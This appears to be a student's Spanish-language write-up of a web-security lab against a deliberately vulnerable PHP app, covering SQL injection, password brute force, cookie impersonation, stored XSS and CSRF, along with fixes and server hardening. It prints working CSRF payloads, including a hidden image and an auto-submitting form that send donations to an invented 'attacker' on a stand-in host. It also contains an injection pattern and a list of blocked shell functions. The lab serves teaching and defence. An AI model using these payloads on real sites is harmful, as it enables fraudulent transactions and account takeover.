a) Ejemplo de combinación para la inyección SQL Escribo los valores

En el campo
Del formulario de la página

La consulta SQL que se ejecuta es
Campos del formulario web utilizados en la consulta SQL
Campos del formulario web no utilizados en la consulta SQL
b) Gracias a la SQL Injection del apartado anterior, sabemos que este formulario es vulnerable y conocemos el nombre de los campos de la tabla "users". Para tratar de impersonar a un usuario, nos hemos descargado un diccionario que contiene algunas de las contraseñas más utilizadas (se listan a continuación): password 123456 12345678 1234 qwerty 12345678 dragon Dad un ataque que, utilizando este diccionario, nos permita impersonar un usuario de esta aplicación y acceder en nombre suyo. Tened en cuenta que no sabéis ni cuántos usuarios hay registrados en la aplicación, ni los nombres de estos.
Hemos repetido el proceso de login, una vez por cada usuario de la aplicación, probando en cada intento una contraseña diferente del diccionario. Los nombres de usuario los habíamos obtenido previamente volcando la tabla users mediante la inyección SQL en insert_player.php.
Usuario encontrado: luis Contraseña válida: 1234
c) Si vais a private/auth.php, veréis que en la función areUserAndPasswordValid, se utiliza "SQLite3::escapeString()", pero, aun así, el formulario es vulnerable a SQL Injections, explicad cuál es el error de programación de esta función y como lo podéis corregir.
El problema es que la función SQLite3::escapeString() se está aplicando mal. En el código actual, se aplica a toda la cadena SQL al final, en lugar de aplicarse solo a la variable que introduce el usuario.
Código vulnerable:
$query = SQLite3::escapeString('SELECT userId, password FROM users WHERE username = "' . $user . '"');
Esto hace que el escapado no sirva de nada contra los caracteres especiales que pongamos en $user, porque la concatenación ocurre antes.
Solución aplicable Debemos mover la funcion de escapado para que envuelva solo a la variable $user.
Cambiamos la línea por:
$query = 'SELECT userId, password FROM users WHERE username = "' . SQLite3::escapeString($user) . '"';
d) Si habéis tenido éxito con el apartado b), os habéis autenticado utilizando el usuario luis (si no habéis tenido éxito, podéis utilizar la contraseña 1234 para realizar este apartado). Con el objetivo de mejorar la imagen de la jugadora Candela Pacheco, le queremos escribir un buen puñado de comentarios positivos, pero no los queremos hacer todos con la misma cuenta de usuario.
Para hacer esto, en primer lugar habéis hecho un ataque de fuerza bruta sobre eldirectorio del servidor web (por ejemplo, probando nombres de archivo) y habéis encontrado el archivo add_comment.php~. Estos archivos seguramente se han creado como copia de seguridad al modificar el archivo ".php" original directamente al servidor. En general, los servidores web no interpretan (ejecuten) los archivos .php~ sino que los muestran como archivos de texto sin interpretar.
Esto os permite estudiar el código fuente de add_comment.php y encontrar una vulnerabilidad para publicar mensajes en nombre de otros usuarios. ¿Cuál es esta vulnerabilidad, y cómo es el ataque que utilizáis para explotarla?
La aplicación permite la suplantación de identidad porque el ID de usuario (userId) lo lee directamente de una cookie ($_COOKIE['userId']), y ese dato lo podemos manipular nosotros desde el navegador.
Código vulnerable:
$query = "INSERT INTO comments (playerId, userId, body) VALUES ('" . $_GET['id'] . "', '" . $_COOKIE['userId'] . "', '$body')";
a) Para ver si hay un problema de XSS, crearemos un comentario que muestre un alert de Javascript siempre que alguien consulte el/los comentarios de aquel jugador (show_comments.php). Dad un mensaje que genere un «alert»de Javascript al consultar el listado de mensajes.
Introducimos el mensaje en el formulario de la página talentscout.local/show_comments.php?id=2

b) ¿Por qué dice & cuando miráis un link (como elque aparece a la portada de esta aplicación pidiendo que realices un donativo) con parámetros GETdentro de código html si en realidad el link es sólo con "&" ?
El & es la forma correcta de codificar el símbolo & dentro de HTML. Esto es necesario porque el & es un carácter especial en HTML que indica el inicio de una entidad de carácter.
c) Explicad cuál es el problema de show_comments.php, y cómo lo arreglaríais. Para resolver este apartado, podéis mirar el código fuente de esta página.
El problema de show_comments.php es una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado. Esto ocurre porque el código de la página muestra directamente los comentarios de la base de datos. Esto permite que un atacante guarde un comentario con código malicioso Sustituimos el código de la línea:
echo "<div>
<h4> ". $row['username'] ."</h4>
<p>commented: " . $row['body'] . "</p>
</div>";
Por el siguiente código
echo "<div>
<h4> ". htmlspecialchars($row['username']) ."</h4>
<p>commented: " . htmlspecialchars($row['body']) . "</p>
</div>";
Descubrid si hay alguna otra página que esté afectada por esta misma vulnerabilidad. En caso positivo, explicad cómo lo habéis descubierto.
Otras páginas afectadas: talentscout.local/insert_player.php

talentscout.local/login (página de inicio de sesión)

Lo descubrimos al poner el script en el campo "User" y una contraseña cualquiera.
¿Cómo lo hemos descubierto? Lo descubrimos al poner en el apartado "Team Name" al añadir un jugador nuevo.

a) En el ejercicio 1, hemos visto cómo era inseguro el acceso de los usuarios a la aplicación. En la página de register.php tenemos el registro de usuario. ¿Qué medidas debemos implementar para evitar que el registro sea inseguro? Justifica esas medidas e implementa las medidas que sean factibles en este proyecto.
Hemos modificado register.php y auth.php para mejorar la seguridad. En register.php, las contraseñas ahora se encriptan con password_hash() antes de almacenarse, protegiéndolas de brechas de datos. Ambas páginas utilizan sentencias preparadas para prevenir inyecciones SQL, separando el comando de la información del usuario. Finalmente, auth.php verifica las contraseñas con password_verify(), asegurando una autenticación segura sin exponer las claves. Estos cambios abordan vulnerabilidades críticas en el registro y autenticación.
b) En el apartado de login de la aplicación, también deberíamos implantar una serie de medidas para que sea seguro el acceso, (sin contar la del ejercicio 1.c). Como en el ejercicio anterior, justifica esas medidas e implementa las que sean factibles y necesarias (ten en cuenta las acciones realizadas en el register). Puedes mirar en la carpeta private
Protección contra fuerza bruta: Hemos añadido un bloqueo de 15 minutos si el usuario falla 5 veces seguidas al intentar entrar. Así evitamos que alguien pruebe cientos de contraseñas automáticamente. Para esto hemos modificado la base de datos añadiendo failed_login_attempts y last_failed_login.
Gestión segura de sesiones: Hemos dejado de usar cookies manuales y hemos pasado al sistema session_start() de PHP. Es mucho más seguro porque PHP maneja los identificadores por nosotros.
Regeneración de ID: Cada vez que alguien se loguea, usamos session_regenerate_id(true). Esto invalida el identificador antiguo y asigna uno nuevo, impidiendo ataques de fijación de sesión.
Cookies blindadas: Hemos configurado las cookies con HttpOnly (para que JavaScript no pueda leerlas y robarlas) y SameSite=Strict (para mitigar ataques CSRF).
Sentencias preparadas en comentarios: También hemos actualizado add_comment.php para usar sentencias preparadas, igual que hicimos en el login, para cerrar la puerta a inyecciones SQL en toda la web.
c) Volvemos a la página de register.php, vemos que está accesible para cualquier usuario, registrado o sin registrar. Al ser una aplicación en la cual no debería dejar a los usuarios registrarse, qué medidas podríamos tomar para poder gestionarlo e implementa las medidas que sean factibles en este proyecto.
Las medidas para gestionar el acceso al registro se centran en el Control de Acceso Basado en Roles (RBAC). Esto implica:
register.php: Se añadió una restricción al inicio de register.php que bloquea el acceso y detiene la ejecución si el usuario no es un administrador autenticado.d) Al comienzo de la práctica hemos supuesto que la carpeta private no tenemos acceso, pero realmente al configurar el sistema en nuestro equipo de forma local. ¿Se cumple esta condición? ¿Qué medidas podemos tomar para que esto no suceda?
La suposición de que la carpeta private no es accesible es incorrecta en una configuración local predeterminada. Un servidor web mal configurado podría servir archivos sensibles como database.db o auth.php si un usuario solicita su URL directa
Medidas para prevenir el acceso:
e) Por último, comprobando el flujo de la sesión del usuario. Analiza si está bien asegurada la sesión del usuario y que no podemos suplantar a ningún usuario. Si no está bien asegurada, qué acciones podríamos realizar e implementarlas.
Medidas implementadas:
User-Agent del usuario en $_SESSION['user_agent'].User-Agent coincide con el que guardamos al principio. Si cambia de repente (lo que podría indicar un robo de sesión desde otro dispositivo), cerramos la sesión inmediatamente:if (!isset($_SESSION['user_agent']) || $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
session_unset();
session_destroy();
return null;
}
¿Qué medidas de seguridad se implementariaís en el servidor web para reducir el riesgo a ataques?
Ocultar la versión de Apache: En el archivo de configuración de Apache (apache2.conf o httpd.conf): 1 ServerTokens Prod # Solo dice "Apache", sin versión ni OS 2 ServerSignature Off # Elimina la firma al pie de las páginas de error Ocultar la versión de PHP: En el archivo php.ini: expose_php = Off Desactivar el listado de directorios: Si no hay un index.php en una carpeta, Apache suele listar todos los archivos (como vimos en la carpeta /private antes de poner el .htaccess). Options -Indexes
Content-Security-Policy (CSP): La más importante. Define de dónde se pueden cargar scripts, estilos e imágenes. Ayuda enormemente a mitigar XSS. X-Frame-Options: Evita que tu web sea incrustada en un de otro sitio, previniendo el Clickjacking. Header always set X-Frame-Options “SAMEORIGIN” X-Content-Type-Options: Evita que el navegador “adivine” el tipo de archivo (MIME-Sniffing). Header always set X-Content-Type-Options “nosniff” Strict-Transport-Security (HSTS): Fuerza al navegador a usar siempre HTTPS, impidiendo ataques de “Downgrade” a HTTP.</p> <ol start="3"> <li> <p>Habilitar HTTPS (SSL/TLS) Aunque es obvio, es fundamental. Todo el tráfico debe ir cifrado para evitar que alguien en la red intercepte las credenciales o las cookies de sesión (lo que permitiría el robo de sesión que acabamos de mitigar parcialmente con el User-Agent). Se debe configurar una redirección forzosa de HTTP a HTTPS.</p> </li> <li> <p>Web Application Firewall (WAF) Instalar y configurar un WAF como ModSecurity. Un WAF analiza el tráfico HTTP entrante y bloquea patrones maliciosos conocidos antes de que lleguen a tu código PHP. Hubiera bloqueado automáticamente los intentos de inyección SQL (' OR ‘1’=‘1) y XSS</p> </li> <li> <p>Restricción de Métodos HTTP Si tu aplicación solo usa GET y POST, deshabilita el resto. <LimitExcept GET POST HEAD> deny from all </LimitExcept> Esto previene el uso de métodos como TRACE (usado en ataques XST) o PUT si no son necesarios.</p> </li> <li> <p>Deshabilitar funciones peligrosas de PHP En el php.ini, deshabilitar funciones que los atacantes usan para ejecutar comandos en el sistema si logran subir una web shell:</p> </li> </ol> <p>disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, parse_ini_file, show_source</p> <hr> <h2>Parte 5 - CSRF</h2> <p>Ahora ya sabemos que podemos realizar un ataque XSS. Hemos preparado el siguiente enlace: http://web.pagos/donate.php?amount=100&receiver=attacker, mediante el cual, cualquiera que haga click hará una donación de 100€ al nuestro usuario (con nombre ‘attacker’) de la famosa plataforma de pagos online ‘web.pagos’ (Nota: como en realidad esta es una dirección inventada, vuestro navegador os devolverá un error 404).</p> <p>a) Editad un jugador para conseguir que, en el listado de jugadores list_players.php aparezca, debajo del nombre de su equipo y antes de show/add comments un botón llamado Profile que corresponda a un formulario que envíe a cualquiera que haga clic sobre este botón a esta dirección que hemos preparado.</p> <p>En el campo Team (Equipo) del formulario de edición de jugador (insert_player.php).</p> <p>Introduzco</p> <pre><code class="language-html">1 OWASP <br><form action="http://web.pagos/donate.php" method="GET"><input type="hidden" name="amount" value="100"><input type="hidden" name="receiver" value="attacker"><input type="submit" value="Profile"></form> </code></pre> <p>b) Una vez lo tenéis terminado, pensáis que la eficacia de este ataque aumentaría si no necesitara que elusuario pulse un botón. Con este objetivo, cread un comentario que sirva vuestros propósitos sin levantar ninguna sospecha entre los usuarios que consulten los comentarios sobre un jugador (show_comments.php).</p> <pre><code class="language-html">Excelente jugador. <img src="http://web.pagos/donate.php?amount=100&receiver=attacker" style="display:none;"> </code></pre> <p>c) Pero web.pagos sólo gestiona pagos y donaciones entre usuarios registrados, puesto que, evidentemente, le tiene que restar los 100€ a la cuenta de algún usuario para poder añadirlos a nuestra cuenta. Explicad qué condición se tendrá que cumplir por que se efectúen las donaciones de los usuarios que visualicen el mensaje del apartado anterior o hagan click en el botón del apartado a).</p> <p>Para que el ataque funcione, el usuario que ve el mensaje tiene que tener <strong>una sesión activa en <code>web.pagos</code></strong> en ese mismo momento.</p> <p>Si es así, cuando el navegador intente cargar la imagen falsa (que en realidad es el enlace de donación), enviará automáticamente las cookies de sesión de <code>web.pagos</code>. El servidor de pagos recibirá la petición, verá que las cookies son válidas y procesará la transacción creyendo que el usuario la ha hecho voluntariamente.</p> <p>d) Si web.pagos modifica la página donate.phpdpara que reciba los parámetros a través de POST, quedaría blindada contra este tipo de ataques? En caso negativo, preparad un mensaje que realice un ataque equivalente al de la apartado b) enviando los parámetros "amount" i "receiver" por POST.</p> <p>Buena jugada.</p> <pre><code class="language-html"><form id="f" method="POST" action="http://web.pagos/donate.php" style="display:none"><input type="hidden" name="amount" value="100"><input type="hidden" name="receiver" value="attacker"></form><script>document.getElementById('f').submit()</script> </code></pre>